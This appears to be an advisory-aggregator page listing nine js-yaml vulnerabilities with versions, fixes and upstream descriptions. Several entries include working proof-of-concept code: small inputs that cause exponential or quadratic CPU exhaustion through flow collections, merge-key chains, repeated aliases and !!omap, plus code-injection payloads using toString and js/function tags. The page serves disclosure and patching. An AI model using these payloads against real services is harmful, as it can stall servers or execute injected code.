9 known bugs in js-yaml, with affected versions, fixes and workarounds. Sourced from upstream issue trackers.
| Severity | Affected | Fixed in | Title | Status | Source |
|---|
| high | 5.0.0 | 5.2.2 | js-yaml: Exponential parsing time in flow collections leads to denial of service ### Summary
Parsing a small YAML document can take exponential time. An application that calls `load()` or `loadAll()` on untrusted input can be hung by a payload under 200 bytes.
### Details
When an entry in a flow sequence turns out to be a `key: value` pair, the parser rewinds and parses that entry a second time as the key.
If the key is itself a nested flow sequence of the same shape, every level is parsed twice, so the total work is O(2^n) in the nesting depth. The default `maxDepth` of 100 does not help, because the time is already unmanageable at about 30 to 40 levels.
Root cause, potentially the: `readFlowCollection` in [parser.ts](https://github.com/nodeca/js-yaml/blob/master/src/parser/parser.ts), the `restoreState` followed by a second `parseNode` further down.
### PoC
```javascript
const yaml = require('js-yaml')
const n = 30
yaml.load('[ '.repeat(n) + '1' + ' ]: 0'.repeat(n))
```
With default options: 22 levels takes about 1 second, 26 levels about 17 seconds, 30 levels over 2 minutes. The input stays under 200 bytes and grows linearly with `n`.
### Impact
Denial of service. A single small request can keep one CPU busy for minutes or longer and blocks the Node event loop, so one request can stall the whole process. No anchors, aliases, merges, tags, or non default options are required, and it reproduces on the default schema. | fixed | osv:GHSA-pm4m-ph32-ghv5 |
| high | 3.0.0 | 3.15.0 | js-yaml: YAML merge-key chains can force quadratic CPU consumption ### Impact
js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:
```yaml
a0: &a0 { k0: 0 }
a1: &a1 { <<: *a0, k1: 1 }
a2: &a2 { <<: *a1, k2: 2 }
a3: &a3 { <<: *a2, k3: 3 }
...
b: *aN
```
For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.
### PoC
From N = 4000 delay become > 1s (doc size < 100K)
```js
import { performance } from 'node:perf_hooks'
import { Buffer } from 'node:buffer'
import { load, YAML11_SCHEMA } from 'js-yaml'
const n = Number(process.argv[2] || 4000)
function makeMergeChain (count) {
const lines = ['a0: &a0 { k0: 0 }']
for (let i = 1; i < count; i++) {
lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`)
}
lines.push(`b: *a${count - 1}`)
return `${lines.join('\n')}\n`
}
const source = makeMergeChain(n)
console.log(source.split('\n').slice(0, 8).join('\n'))
console.log('...')
console.log(source.split('\n').slice(-4).join('\n'))
console.log()
console.log(`N: ${n}`)
console.log(`YAML size: ${Buffer.byteLength(source)} bytes`)
const started = performance.now()
const result = load(source, { schema: YAML11_SCHEMA })
const elapsed = performance.now() - started
console.log(`parse time: ${elapsed.toFixed(1)} ms`)
console.log(`top-level keys: ${Object.keys(result).length}`)
console.log(`b keys: ${Object.keys(result.b).length}`)
```
### Patches
Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases. | fixed | osv:GHSA-52cp-r559-cp3m |
| high | any | 3.13.1 | Code Injection in js-yaml Versions of `js-yaml` prior to 3.13.1 are vulnerable to Code Injection. The `load()` function may execute arbitrary code injected through a malicious YAML file. Objects that have `toString` as key, JavaScript code as value and are used as explicit mapping keys allow attackers to execute the supplied code through the `load()` function. The `safeLoad()` function is unaffected.
An example payload is
`{ toString: !<tag:yaml.org,2002:js/function> 'function (){return Date.now()}' } : 1`
which returns the object
{
"1553107949161": 1
}
## Recommendation
Upgrade to version 3.13.1. | fixed | osv:GHSA-8j8c-7jfh-h6hx |
| medium | 4.0.0 | 4.2.0 | JS-YAML: Quadratic-complexity DoS in merge key handling via repeated aliases ### Summary
A crafted YAML document can trigger algorithmic CPU exhaustion in `js-yaml` merge-key processing (`<<`) by repeating the same alias many times in a merge sequence.
This causes quadratic parse-time behavior relative to input size and can block a Node.js worker/event loop for seconds with a relatively small payload (tens of KB), resulting in denial of service.
### Details
The issue is in merge handling inside `lib/loader.js`:
- `storeMappingPair(...)` iterates every element of a merge sequence when key tag is `tag:yaml.org,2002:merge`.
- For each element, it calls `mergeMappings(...)`.
- `mergeMappings(...)` computes `Object.keys(source)` and performs `_hasOwnProperty.call(destination, key)` checks for each key.
When input is of the form:
a: &a {k0:0, k1:0, ..., kK:0}
b: {<<: [*a, *a, *a, ... repeated M times ...]}
all *a entries refer to the same anchored object. After the first merge, subsequent merges are semantically no-ops, but the parser still reprocesses all keys each time.
Resulting work is O(K * M), while input size is O(K + M), giving quadratic scaling as payload grows.
Relevant code path:
lib/loader.js in storeMappingPair(...) merge branch (keyTag === 'tag:yaml.org,2002:merge')
lib/loader.js mergeMappings(...)
### Root cause
File: lib/loader.js
Function: storeMappingPair(state, _result, overridableKeys, keyTag, keyNode,
valueNode, startLine, startLineStart, startPos)
Lines: ~359-366
if (keyTag === 'tag:yaml.org,2002:merge') {
if (Array.isArray(valueNode)) {
for (index = 0, quantity = valueNode.length; index < quantity; index += 1) {
mergeMappings(state, _result, valueNode[index], overridableKeys);
}
} else {
mergeMappings(state, _result, valueNode, overridableKeys);
}
}
When the merge value is a sequence (YAML 1.1 <<: [ *a, *a, ... ]), each element
is handed to mergeMappings() without deduplication. mergeMappings() then does
sourceKeys = Object.keys(source);
for (index = 0; index < sourceKeys.length; index += 1) {
key = sourceKeys[index];
if (!_hasOwnProperty.call(destination, key)) {
setProperty(destination, key, source[key]);
overridableKeys[key] = true;
}
}
Every alias reference in the sequence resolves (by design) to the SAME object
via state.anchorMap. After the first merge, every subsequent merge of that same
reference is a pure no-op semantically, but still performs:
* one Object.keys(source) call (O(K))
* K _hasOwnProperty.call checks on the destination
Total: M * K hasOwnProperty checks + M Object.keys allocations, while the final
object and all observable side effects are identical to a single merge.
YAML semantics for `<<:` are idempotent and commutative over duplicate sources,
so collapsing duplicates preserves behavior exactly; this isn't a spec trade-off.
### PoC
Environment:
js-yaml version: 4.1.1
Node.js: v24.5.0
Platform: arm64 macOS (reproduced consistently)
Reproduction script:
Create many keys in one anchored map (&a).
Merge that same alias repeatedly via <<: [*a, *a, ...].
Measure parse time and compare with control payload using single merge (<<: *a).
Observed repeated runs (same machine):
K=M=1000, input 9,909 bytes: ~33–36 ms
K=M=2000, input 20,909 bytes: ~121–123 ms
K=M=4000, input 42,909 bytes: ~524–537 ms
K=M=6000, input 64,909 bytes: ~1,608–1,829 ms
K=M=8000, input 86,909 bytes: ~3,395–3,565 ms
Control (single merge, similar key counts):
K=2000: ~1–2 ms
K=4000: ~3 ms
K=8000: ~5 ms
Also verified: repeated-merge output equals single-merge output (same key count and same JSON), confirming excess time is redundant computation.
### Impact
This is a denial-of-service vulnerability (CPU exhaustion / algorithmic complexity).
Any service parsing untrusted YAML with js-yaml can be impacted, including API backends, CI tools, config processors, and automation services. An attacker can submit crafted YAML to significantly increase CPU time and reduce availability.
### Suggested fix:
Dedupe the merge source list by reference before invoking mergeMappings. Any of
the following are minimal and preserve YAML 1.1 merge semantics:
dedupe in storeMappingPair:
if (keyTag === 'tag:yaml.org,2002:merge') {
if (Array.isArray(valueNode)) {
var seen = new Set();
for (index = 0, quantity = valueNode.length; index < quantity; index += 1) {
var src = valueNode[index];
if (seen.has(src)) continue; // idempotent; skip redundant alias
seen.add(src);
mergeMappings(state, _result, src, overridableKeys);
}
} else {
mergeMappings(state, _result, valueNode, overridableKeys);
}
} | ||
| medium | 5.0.0 | 5.2.0 | js-yaml: YAML merge-key chains can force quadratic CPU consumption in js-yaml ### Impact
This is the same report as for v3/v4, but with lower severity, because in v5, merge is off by default
When merge keys (`<<`) are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:
```yaml
a0: &a0 { k0: 0 }
a1: &a1 { <<: *a0, k1: 1 }
a2: &a2 { <<: *a1, k2: 2 }
a3: &a3 { <<: *a2, k3: 3 }
...
b: *aN
```
For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.
### PoC
From N = 4000 delay become > 1s (doc size < 100K)
```js
import { performance } from 'node:perf_hooks'
import { Buffer } from 'node:buffer'
import { load, YAML11_SCHEMA } from 'js-yaml'
const n = Number(process.argv[2] || 4000)
function makeMergeChain (count) {
const lines = ['a0: &a0 { k0: 0 }']
for (let i = 1; i < count; i++) {
lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`)
}
lines.push(`b: *a${count - 1}`)
return `${lines.join('\n')}\n`
}
const source = makeMergeChain(n)
console.log(source.split('\n').slice(0, 8).join('\n'))
console.log('...')
console.log(source.split('\n').slice(-4).join('\n'))
console.log()
console.log(`N: ${n}`)
console.log(`YAML size: ${Buffer.byteLength(source)} bytes`)
const started = performance.now()
const result = load(source, { schema: YAML11_SCHEMA })
const elapsed = performance.now() - started
console.log(`parse time: ${elapsed.toFixed(1)} ms`)
console.log(`top-level keys: ${Object.keys(result).length}`)
console.log(`b keys: ${Object.keys(result.b).length}`)
```
### Patches
Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases. | fixed | osv:GHSA-g796-fgmg-93mv |
| medium | 5.0.0 | 5.2.1 | js-yaml: Quadratic-complexity (O(n^2)) DoS via !!omap tag in YAML11_SCHEMA ### Summary
`js-yaml` v5.x introduces `YAML11_SCHEMA` support with the `!!omap` (ordered map) tag. The `omapTag.addItem()` function performs a linear O(n) scan for duplicate key detection on every insertion, resulting in O(n^2) total time to parse a document with n omap entries. An attacker can send a small crafted YAML document to trigger a multi-second CPU stall in any application that uses `yaml.load()` with `{ schema: yaml.YAML11_SCHEMA }`.
### Details
In `src/tag/sequence/omap.ts` (compiled: `dist/js-yaml.cjs.js:510-525`):
```js
var omapTag = defineSequenceTag('tag:yaml.org,2002:omap', {
create: () => [],
addItem: (container, item) => {
// ...
for (const existing of container) // O(n) per insertion!
if (hasOwnProperty(existing, itemKeys[0]))
return 'cannot resolve an ordered map item';
container.push(object); // n insertions → O(n^2) total
return '';
}
});
```
For a document with `n` unique entries, insertion i scans i−1 existing entries, yielding 1+2+…+n = **O(n²)** total work.
### PoC (runtime-confirmed on v5.2.0)
```js
const yaml = require('js-yaml');
function buildOmapPayload(n) {
let p = '!!omap\n';
for (let i = 0; i < n; i++) p += '- key' + i + ': val' + i + '\n';
return p;
}
// Timing results on v5.2.0:
// n=1000: 9ms
// n=5000: 73ms (5x n → 8x time)
// n=10000: 255ms (2x n → 3.5x time — supralinear)
// n=20000: 997ms (2x n → 3.9x time — O(n²) confirmed)
// n=50000: 10613ms ← blocks event loop for >10 seconds
yaml.load(buildOmapPayload(50000), { schema: yaml.YAML11_SCHEMA });
```
### Impact
Any application that parses untrusted YAML using `yaml.load(input, { schema: yaml.YAML11_SCHEMA })` is vulnerable to Denial of Service. A ~2 MB payload of 50,000 entries blocks the Node.js event loop for 10+ seconds. Smaller payloads (5,000 entries, ~100 KB) already cause noticeable slowdowns (73 ms per parse, amplified under concurrent load).
This affects the newly released 5.x series (first published 2026-06-20) which adds YAML 1.1/1.2 schema support including `!!omap`. The 4.x series is unaffected (no `YAML11_SCHEMA` export).
### Fix
Replace the O(n) linear scan in `addItem` with an O(1) `Set`-based lookup:
```js
var omapTag = defineSequenceTag('tag:yaml.org,2002:omap', {
create: () => ({ list: [], seen: new Set() }),
addItem: (state, item) => {
const key = Object.keys(item)[0];
if (state.seen.has(key)) return 'duplicate omap key';
state.seen.add(key);
state.list.push(item);
return '';
},
resolve: (state) => state.list
});
``` | ||
| medium | 4.0.0 | 4.1.1 | js-yaml has prototype pollution in merge (<<) ### Impact
In js-yaml 4.1.0, 4.0.0, and 3.14.1 and below, it's possible for an attacker to modify the prototype of the result of a parsed yaml document via prototype pollution (`__proto__`). All users who parse untrusted yaml documents may be impacted.
### Patches
Problem is patched in js-yaml 4.1.1 and 3.14.2.
### Workarounds
You can protect against this kind of attack on the server by using `node --disable-proto=delete` or `deno` (in Deno, pollution protection is on by default).
### References
https://cheatsheetseries.owasp.org/cheatsheets/Prototype_Pollution_Prevention_Cheat_Sheet.html | fixed | osv:GHSA-mh29-5h37-fv8m |
| medium | any | 3.13.0 | Denial of Service in js-yaml Versions of `js-yaml` prior to 3.13.0 are vulnerable to Denial of Service. By parsing a carefully-crafted YAML file, the node process stalls and may exhaust system resources leading to a Denial of Service.
## Recommendation
Upgrade to version 3.13.0. | fixed | osv:GHSA-2pr6-76vf-7546 |
| critical | any | 2.0.5 | Deserialization Code Execution in js-yaml Versions 2.0.4 and earlier of `js-yaml` are affected by a code execution vulnerability in the YAML deserializer.
## Proof of Concept
```
const yaml = require('js-yaml');
const x = `test: !!js/function >
function f() {
console.log(1);
}();`
yaml.load(x);
```
## Recommendation
Update js-yaml to version 2.0.5 or later, and ensure that all instances where the `.load()` method is called are updated to use `.safeLoad()` instead. | fixed | osv:GHSA-xxvw-45rp-3mj2 |
Get this data programmatically \u2014 free, no authentication.
curl https://depscope.dev/api/bugs/npm/js-yaml| fixed |
| osv:GHSA-h67p-54hq-rp68 |
| fixed |
| osv:GHSA-724g-mxrg-4qvm |